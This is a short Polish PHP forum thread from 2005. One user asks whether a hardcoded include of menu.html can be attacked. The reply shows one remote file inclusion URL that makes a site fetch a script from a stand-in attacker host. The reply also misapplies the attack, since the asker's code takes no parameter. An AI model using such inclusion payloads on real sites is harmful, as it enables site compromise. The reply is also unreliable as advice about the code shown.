include(), Funckja a bezpieczeństwo Opcje

[gladiror]

Witam!
Mam pytanie dotyczące funkcji include. Załuszmy, że mam plik index.php. W nim jest następujący skrypt:

[PHP] pobierz, plaintext 
<?
include(&#092;"menu.html\");
?>
[PHP] pobierz, plaintext 

Plik menu.html zawiera kod html. Czy w tej sytuacji istnieje jakaś możliwość włamania się/ zmieny zawartości pliku lub coś w tym stylu?

Piszę ten temat, bo jak próbowałem dowiedzieć się z poprzednich postów to nikt nie chciał już później mi dokładnie odpowiedzieć w związku z tym pytaniem...

Ten post edytował gladiror 20.07.2005, 11:46:01

[revyag]

No to zobacz:

Kod

http://www.stwoja_strona.pl/index.php?menu=http://haker/skrypt_ktocy_cos_psuje.php

(IMG:http://forum.php.pl/style_emoticons/default/snitch.gif)